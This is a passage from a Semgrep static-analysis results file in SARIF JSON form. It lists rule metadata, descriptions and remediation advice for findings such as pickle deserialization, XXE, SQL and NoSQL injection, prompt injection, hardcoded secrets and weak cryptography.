[https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","id":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","name":"python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-pickle-django.tainted-pandas-pickle-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.django.ai.prompt-injection-django.prompt-injection-django","id":"python.django.ai.prompt-injection-django.prompt-injection-django","name":"python.django.ai.prompt-injection-django.prompt-injection-django","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.ai.prompt-injection-django.prompt-injection-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ognl-injection.ognl-injection","id":"java.lang.security.audit.ognl-injection.ognl-injection","name":"java.lang.security.audit.ognl-injection.ognl-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ognl-injection.ognl-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","id":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","name":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","id":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","name":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","id":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","name":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","id":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","name":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Twilio API Key detected"},"help":{"markdown":"Twilio API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Twilio API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","id":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","name":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password)\n - [https://www.php.net/manual/en/function.ldap-bind.php](https://www.php.net/manual/en/function.ldap-bind.php)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"helpUri":"https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password","id":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","name":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ldap-bind-without-password.ldap-bind-without-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"help":{"markdown":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process","id":"javascript.lang.security.detect-child-process.detect-child-process","name":"javascript.lang.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli","id":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","name":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.kmongo-nosqli.kmongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","id":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","name":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","id":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","name":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval","id":"kotlin.spring.scripting-host-eval.scripting-host-eval","name":"kotlin.spring.scripting-host-eval.scripting-host-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.scripting-host-eval.scripting-host-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","id":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","name":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"help":{"markdown":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://docs.python.org/3/library/secrets.html](https://docs.python.org/3/library/secrets.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random","id":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","name":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-insecure-random.cryptography-insecure-random"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and 